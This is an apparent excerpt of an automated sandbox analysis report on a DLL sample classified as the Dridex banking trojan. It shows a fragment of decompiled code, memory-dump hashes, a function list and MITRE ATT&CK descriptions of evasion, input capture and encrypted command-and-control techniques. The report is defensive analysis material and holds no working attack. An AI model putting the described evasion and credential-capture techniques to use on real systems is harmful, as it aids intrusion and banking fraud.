				void* _t34;
				signed int _t38;
				char* _t40;

				_t40 = (_t38 & 0xfffffff0) - 0x2c;
				asm("movq xmm0, [edx]");
				_t32 = 0;
				 *_t40 = 0x7b;
				asm("movq [esp+0x1], xmm0");
				_v43 = 0x2d;
				do {
					 *((char*)(_t40 + _t32 + 0xa)) =  *((intOrPtr*)(_t32 + __edx + 8));
					_t32 = _t32 + 1;
				} while (_t32 < 4);
				_v38 = 0x2d;
				_t33 = 0;
				do {
					 *((char*)(_t40 + _t33 + 0xf)) =  *((intOrPtr*)(_t33 + __edx + 0xc));
					_t33 = _t33 + 1;
				} while (_t33 < 4);
				_v33 = 0x2d;
				_t34 = 0;
				do {
					 *((char*)(_t40 + _t34 + 0x14)) =  *((intOrPtr*)(_t34 + __edx + 0x10));
					_t34 = _t34 + 1;
				} while (_t34 < 4);
				_v28 = 0x2d;
				_t24 = 0;
				do {
					asm("movd xmm0, dword [eax+edx+0x14]");
					asm("movd [esp+eax+0x19], xmm0");
					_t24 = _t24 + 4;
				} while (_t24 < 0xc);
				_t25 = _t40;
				 *((char*)(_t25 + 0x25)) = 0x7d;
				 *((char*)(_t25 + 0x26)) = 0;
				E1000DFBC(__ecx, _t25, 0);
				return __ecx;
			}

0x1000c21f
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Strings

-, xrefs: 1000C260
-, xrefs: 1000C249
-, xrefs: 1000C234
-, xrefs: 1000C275

Memory Dump Source

Source File: 00000002.00000002.749018753.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.749011351.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.749036684.000000001001A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.749045623.000000001001D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.749056111.000000001001F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: -$-$-$-
API String ID: 0-1033403326
Opcode ID: 1d36367edc1a87d387ea343f4f2a29612f5303ddecac01934eed59726700fcc9
Instruction ID: 6420cdf91b2b9fc5655fa5f82b4c53aa5eb92ddd4154ae73ebf41adf494228f8
Opcode Fuzzy Hash: 1d36367edc1a87d387ea343f4f2a29612f5303ddecac01934eed59726700fcc9
Instruction Fuzzy Hash: C811252091C3C04CE749DB7C548462BFFD08F9A208F1886BEE4DA86B53E525D49683B7

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report 0f72be74_by_Libranalysis.dll

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Dridex

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Network Port Distribution

UDP Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Function 02D823D4, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 224
memoryCOMMON

Function 10010754, Relevance: 1.9, Strings: 1, Instructions: 650
COMMONCrypto

Function 10001494, Relevance: 1.9, Strings: 1, Instructions: 613
COMMONCrypto

Function 1000A52C, Relevance: 1.8, Strings: 1, Instructions: 537
COMMONCrypto

Function 1000846C, Relevance: 1.8, Strings: 1, Instructions: 531
COMMONCrypto

Function 10019348, Relevance: 1.8, Strings: 1, Instructions: 529
COMMONCrypto

Function 10011460, Relevance: .6, Instructions: 572
COMMONCrypto

Function 10011D58, Relevance: .3, Instructions: 282
COMMONCrypto

Function 10006D50, Relevance: .0, Instructions: 36
COMMON

Function 1000C218, Relevance: 5.1, Strings: 4, Instructions: 53
COMMON